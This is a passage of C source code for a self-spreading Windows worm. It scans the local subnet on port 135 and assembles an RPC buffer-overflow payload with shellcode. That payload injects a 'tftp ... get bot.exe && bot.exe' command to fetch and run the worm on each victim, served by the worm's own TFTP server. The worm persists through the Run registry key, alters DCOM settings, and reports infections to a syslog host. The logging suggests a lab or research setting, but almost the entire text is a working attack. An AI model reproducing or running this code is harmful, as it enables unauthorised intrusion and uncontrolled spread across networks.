"\x00\x34\x00\x35\x00\x36\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31" 
"\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31" 
"\x00\x31\x00\x31\x00\x2E\x00\x64\x00\x6F\x00\x63\x00\x00";  
 
unsigned char part4[]= 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x20\x00\x00\x00\x30\x00\x2D\x00" 
"\x00\x00\x00\x00\x88\x2A\x0C\x00\x02\x00\x00\x00\x01\x00\x00\x00" 
"\x28\x8C\x0C\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"; 
 
const char report[]= 
"\x3C\x31\x39\x31\x3E\x20\x49\x6E\x66" 
"\x65\x63\x74\x65\x64"; 
 
const char report2[]= 
"\x3C\x31\x39\x31\x3E\x20"; 
 
int main(int argc, char *argv[]) 
{ 
SOCKET sock; 
WSADATA wsaData; 
struct sockaddr_in target_ip; 
unsigned short port = 135; 
srand(time(NULL)); 
 
target_ip.sin_family = AF_INET; 
target_ip.sin_port = htons(port); 
 
filename = argv[0]; 
 
for(int t = 0; t < 254; t++){ 
targeted[t]=false; 
} 
 
debugLog(sprintf(logMessage, "New Run\n")); 
 
FILE * fp; 
if((fp = fopen("ruler.txt", "r")) != NULL){ 
fclose(fp); 
}else{ 
if(!Installed()) { 
Install(filename); //Install 
Report(); //Report 
} 
} 
 
WSAStartup(MAKEWORD(2,2), &wsaData); 
 
SetupExploit(); 
 
sock=socket(AF_INET,SOCK_STREAM,0); 
 
target_ip.sin_addr.s_addr = chooseTarget(); //Choose target IP 
Address 
 
while(true){ //Start loop 
debugLog(sprintf(logMessage, "Scanning: %s\n", 
inet_ntoa(target_ip.sin_addr))); 
 
if(connect(sock,(struct sockaddr *)&target_ip, 
sizeof(target_ip)) == 0) { //Attempt connection to port 135  
CreateThread(NULL, 0, tftpServer, 0, 0, NULL); //Start 
tftp server 
while(!tftpRunning);// {printf("t");} //Wait for tftp 
server to be ready 
debugLog(sprintf(logMessage, "Exploiting: %s\n", 
inet_ntoa(target_ip.sin_addr))); 
 
Exploit(sock); //Exploit! 
CreateThread(NULL, 0, wait, 0, 0, NULL); //start 
timeout thread 
while(!xferComplete && !xferTimeOut); //wait for xfer 
complete or timeout 
if(xferTimeOut){ debugLog(sprintf(logMessage, "xfer 
timed out\n")); } 
if(xferComplete){  
debugLog(sprintf(logMessage, "xfer complete\n")); 
 
ReportExploit(inet_ntoa(target_ip.sin_addr)); 
} 
xferComplete = false; 
xferTimeOut = false; 
closesocket(sock); 
sock=socket(AF_INET,SOCK_STREAM,0); 
} 
target_ip.sin_addr.s_addr = chooseTarget(); //Choose target IP 
Address 
} //End loop 
 
closesocket(sock); 
 
WSACleanup(); 
return 0; 
} 
 
void debugLog(int success){ 
if(success != -1){ 
if(debug) { 
FILE * logfile; 
if((logfile = fopen("wormlog.txt", "a+")) == 
NULL){printf("Couldn't open log file\n");} 
time_t rawtime; 
struct tm * timeinfo; 
char timestr[100]; 
time(&rawtime); 
timeinfo = localtime(&rawtime); 
strftime(timestr,100,"%c", timeinfo);  
printf("%s:: %s", timestr, logMessage); 
fprintf(logfile, "%s:: %s", timestr, logMessage); 
fclose(logfile); 
 
 
WSADATA wsaData3;  
WSAStartup(MAKEWORD(2, 2), &wsaData3); 
struct sockaddr_in syslog_ip; 
int syslog, slen=sizeof(syslog_ip); 
int count = 0; 
char exploited[1000], buf[1000]; 
 
syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
 
memset((char *) &syslog_ip, 0, sizeof(syslog_ip)); 
syslog_ip.sin_family = AF_INET; 
syslog_ip.sin_port = htons(514); 
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131"); 
 
sprintf(exploited, "Message: %s", logMessage); 
 
memcpy(buf, report2, sizeof(report2)); 
memcpy(buf, exploited, strlen(exploited)); 
 
count = sendto(syslog, buf, 
(sizeof(report2)+strlen(exploited)), 0, 
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip)); 
 
closesocket(syslog); 
WSACleanup(); 
} 
} 
} 
 
unsigned long chooseTarget(){ 
char retVal[255], *local_ip; 
int a, b, c, d, e; 
int count = 0; 
 
local_ip = getLocalIP(); 
 
a = atoi(strtok(local_ip, ".")); 
b = atoi(strtok(NULL, ".")); 
c = atoi(strtok(NULL, ".")); 
d = atoi(strtok(NULL, ".")); 
e = d; 
targeted[e]=true; 
while(e == d){ 
d = (rand() % 255); 
if(!targeted[d]){ 
break; 
} else { 
count++; 
if(count == 254){ 
debugLog(sprintf(logMessage, "Scanned all. Quitting\n")); 
exit(0); 
} 
} 
} 
 
sprintf(retVal, "%d.%d.%d.%d", a, b, c, d); 
 
return inet_addr(retVal); 
} 
 
void SetupExploit(){ 
unsigned int nopcount; 
unsigned long ret = 0x77e9afe3; 
unsigned long sclength; 
char szCmdBuf[0x1000]; 
char* local_ip; 
 
 
local_ip = getLocalIP(); 
 
memcpy(sc+36, (unsigned char *) &ret, 4); 
 
sprintf(szCmdBuf, "cmd.exe /c tftp -i %s get bot.exe && bot.exe", 
local_ip); 
 
nopcount = 1704 - (sizeof(part1)-1 + sizeof(part2)-1 + 
sizeof(part3)-1 + sizeof(sc)-1 + sizeof(sc2)-1 + strlen(szCmdBuf) + 
sizeof(part4)-1); 
 
sclength=sizeof(sc) + nopcount + sizeof(sc2) + strlen(szCmdBuf); 
 
memcpy(buf2,part1,sizeof(part1)-1); 
len=sizeof(part1)-1; 
 
*(unsigned long *)(part2)=*(unsigned long *)(part2)+sclength/2;   
*(unsigned long *)(part2+8)=*(unsigned long *)(part2+8)+sclength/2; 
 
memcpy(buf2+len,part2,sizeof(part2)-1); 
len=len+sizeof(part2)-1; 
 
memcpy(buf2+len,sc,sizeof(sc)-1); 
len=len+sizeof(sc)-1; 
 
memcpy(buf2+len, nops, nopcount); 
len=len+nopcount; 
 
memcpy(buf2+len, sc2, sizeof(sc2)-1); 
len=len+sizeof(sc2)-1; 
 
memcpy(buf2+len,szCmdBuf,strlen(szCmdBuf)); 
len=len+strlen(szCmdBuf); 
 
memcpy(buf2+len,part3,sizeof(part3)-1); 
len=len+sizeof(part3)-1; 
 
memcpy(buf2+len,part4,sizeof(part4)-1); 
len=len+sizeof(part4)-1; 
 
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sclength-0xc; 
*(unsigned long *)(buf2+0x10)=*(unsigned long 
*)(buf2+0x10)+sclength-0xc;   
*(unsigned long *)(buf2+0x80)=*(unsigned long 
*)(buf2+0x80)+sclength-0xc; 
*(unsigned long *)(buf2+0x84)=*(unsigned long 
*)(buf2+0x84)+sclength-0xc; 
*(unsigned long *)(buf2+0xb4)=*(unsigned long 
*)(buf2+0xb4)+sclength-0xc; 
*(unsigned long *)(buf2+0xb8)=*(unsigned long 
*)(buf2+0xb8)+sclength-0xc; 
*(unsigned long *)(buf2+0xd0)=*(unsigned long 
*)(buf2+0xd0)+sclength-0xc; 
*(unsigned long *)(buf2+0x18c)=*(unsigned long 
*)(buf2+0x18c)+sclength-0xc; 
} 
 
void Exploit(SOCKET &sock){ 
char buf1[0x1000]; 
 
send(sock,bindstr,sizeof(bindstr),0); 
recv(sock,buf1,1000, 0); 
send(sock,buf2,len,0); 
recv(sock,buf1,1000, 0); 
 
return; 
} 
 
 
char* getLocalIP(){ 
char name[255]; 
char *retVal; 
PHOSTENT hostinfo; 
if(gethostname(name, sizeof(name))==0){ 
if((hostinfo = gethostbyname(name)) != NULL){ 
retVal = inet_ntoa(*(struct in_addr *)hostinfo-
>h_addr_list[0]); 
return retVal; 
} 
return NULL; 
}  
return NULL; 
 
} 
 
bool Installed(){ 
FILE * fp; 
if((fp = fopen(persistent, "r")) != NULL){ 
fclose(fp); 
debugLog(sprintf(logMessage, "Installed\n")); 
 
return true; 
}else{ 
debugLog(sprintf(logMessage, "Not Installed\n")); 
 
return false; 
} 
} 
 
void Install(char * file){ 
DeleteFile(persistent); 
CopyFile(file, persistent, false); 
 
HKEY key; 
RegCreateKeyEx(HKEY_LOCAL_MACHINE, 
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);  
RegSetValueEx(key, "worm.exe", 0, REG_SZ, (const unsigned 
char*)persistent, strlen(persistent));  
RegCloseKey(key);  
 
HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; 
strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf); 
LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, 
"Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); 
RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned 
char*)szDataBuf, dwSize); 
RegCloseKey(hkey); 
} 
 
void Report(){ 
WSADATA wsaData3;  
WSAStartup(MAKEWORD(2, 2), &wsaData3); 
struct sockaddr_in syslog_ip; 
int syslog, slen=sizeof(syslog_ip); 
int count = 0; 
 
syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
 
memset((char *) &syslog_ip, 0, sizeof(syslog_ip)); 
syslog_ip.sin_family = AF_INET; 
syslog_ip.sin_port = htons(514); 
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131"); 
 
count = sendto(syslog, report, sizeof(report), 0, 
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip)); 
 
closesocket(syslog); 
WSACleanup(); 
return; 
} 
 
void ReportExploit(char * target_ip){ 
WSADATA wsaData3;  
WSAStartup(MAKEWORD(2, 2), &wsaData3); 
struct sockaddr_in syslog_ip; 
int syslog, slen=sizeof(syslog_ip); 
int count = 0; 
char exploited[1000], buf[1000]; 
 
syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
 
memset((char *) &syslog_ip, 0, sizeof(syslog_ip)); 
syslog_ip.sin_family = AF_INET; 
syslog_ip.sin_port = htons(514); 
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131"); 
 
sprintf(exploited, "Spread to %s", target_ip); 
 
memcpy(buf, report2, sizeof(report2)); 
memcpy(buf, exploited, strlen(exploited)); 
 
count = sendto(syslog, buf, (sizeof(report2)+strlen(exploited)), 0, 
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip)); 
 
closesocket(syslog); 
WSACleanup(); 
return; 
} 
 
void unBind(){ 
WSADATA wsaData3;  
WSAStartup(MAKEWORD(2, 2), &wsaData3); 
struct sockaddr_in local_ip; 
int local, slen=sizeof(local_ip); 
int count = 0; 
 
local = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
 
local_ip.sin_family = AF_INET; 
local_ip.sin_port = htons(69); 
local_ip.sin_addr.s_addr = inet_addr(getLocalIP()); 
 
count = sendto(local, "\x00", 1, 0, (SOCKADDR*)&local_ip, 
sizeof(local_ip)); 
closesocket(local); 
WSACleanup(); 
return; 
} 
 
DWORD WINAPI wait(LPVOID arg){ 
Sleep(10000); 
unBind(); 
xferTimeOut = true; 
return 0; 
} 
 
DWORD WINAPI tftpServer(LPVOID arg){ 
WSADATA wsaData2; 
WSAStartup(MAKEWORD(2,2), &wsaData2); 
struct sockaddr_in server_ip, target_ip; 
int server, slen=sizeof(target_ip), count; 
short int block = 0x00; 
char buf[512]; 
char buf2[512]; 
char sendbuf[516]; 
 
xferComplete = false; 
tftpRunning = false; 
 
FILE *fp; 
long filelen; 
 
fp = fopen(filename, "rb"); 
fseek(fp, 0, SEEK_END); 
filelen = ftell(fp); 
fseek(fp, 0, SEEK_SET); 
 
server=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
 
memset((char *) &server_ip, 0, sizeof(server_ip)); 
server_ip.sin_family = AF_INET; 
server_ip.sin_port = htons(69); 
server_ip.sin_addr.s_addr = inet_addr(getLocalIP()); 
 
if(bind(server, (SOCKADDR*)&server_ip, sizeof(server_ip)) == 
SOCKET_ERROR){ 
debugLog(sprintf(logMessage, "TFTP Server Not Listening: Bind Error: %d\n", 
WSAGetLastError())); 
 
tftpRunning = false; 
fclose(fp); 
closesocket(server); 
WSACleanup();    
return 1; 
} 
debugLog(sprintf(logMessage, "TFTP Server Listening\n"));  
 
tftpRunning = true; 
if (recvfrom(server, buf, 1, 0, (SOCKADDR*)&target_ip, &slen)==-1){ 
while((ftell(fp)<filelen) && !xferTimeOut){ 
block++; 
count = fread(buf2, 1, 512, fp); 
sendbuf[0]='\x00'; 
sendbuf[1]='\x03'; 
sendbuf[2]=(char)((block&0xFF00)>>8); 
sendbuf[3]=(char)(block&0x00FF); 
memcpy(sendbuf+4, buf2, count); 
sendto(server, sendbuf, count+4, 0, 
(SOCKADDR*)&target_ip, sizeof(target_ip)); 
recvfrom(server, buf, 1, 0, (SOCKADDR*)&target_ip, 
&slen); 
} 
xferComplete = true; 
debugLog(sprintf(logMessage, "Transfer to %s Complete\n", 
inet_ntoa(target_ip.sin_addr))); 
} 
 
tftpRunning = false; 
fclose(fp); 
closesocket(server); 
WSACleanup(); 
return 0; 
} 
 
